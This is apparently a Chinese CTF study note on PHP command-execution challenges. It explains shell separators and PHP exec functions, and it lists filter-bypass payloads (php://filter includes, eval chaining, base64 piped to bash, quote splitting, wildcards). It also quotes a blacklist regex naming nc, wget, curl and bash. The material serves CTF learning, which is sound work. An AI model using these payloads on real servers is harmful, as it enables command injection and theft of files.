命令执行
php的include可以载入一个外部php文件,其参数是一个文件名,既然是文件名,就不能带参数了。
php中,如果include载入的文件一定要带参数,就只有一种办法,即这个参数是一个全路径的URL地址。
windows 下
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
Linux 下
;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
空格绕过
1 | >` `<` `<>` 重定向符 |
执行代码函数
1 | eval() |
命令执行函数
1 | system() |
PHP 支持一个执行运算符:反引号(`)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“”的效果与函数 shell_exec() 相同。
文件包含函数:
1 | require |
文件读取函数:
1 | copy |
cat被过滤
1 | more:一页一页的显示档案内容 |
黑名单绕过
增加include函数使用伪协议
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
添加eval函数绕过检测
?c=eval($_GET[1]);&1=system(‘ls’);
拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
base64编码
echo “Y2F0IGZsYWc=”|base64 -d|bash //cat flag
echo “Y2F0IC9mbGFn”|base64 -d|bash //cat /flag
情况下可尝试sh)
单引号、双引号
c””at fl’’ag
反斜线
c\at fl\ag
正则 (假设/bin/cat: test: 是一个目录)
1 | /???/?[a][t] ?''?''?''?''` |
1 | cat `ls` #查看当前目录的所有文件的内容。 |
“./“:代表目前所在的目录。
“ . ./“代表上一层目录。
“/“:代表根目录。
web135无回显,命令长度限制
1 | if($F = @$_GET['F']){ |
1 | ?F=`$F` ;ls; //相当于执行 |
另解cp命令
1 | ?F=`$F` ;cp flag.php 666.txt |
文件改名
1 | mv source_file(文件) dest_file(文件) |
将源文件名 source_file 改为目标文件名 dest_file
1 | if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){ |
没有回显
1 | ls /|tee 1 |
awk 命令也是逐行扫描文件(从第 1 行到最后一行),寻找含有目标文本的行,如果匹配成功,则会在该行上执行用户想要的操作;反之,则不对行做任何处理
从脚本文件中读取 awk 脚本指令,以取代直接在命令行中输入指令
Linux tee命令用于读取标准输入的数据,并将其内容输出成文件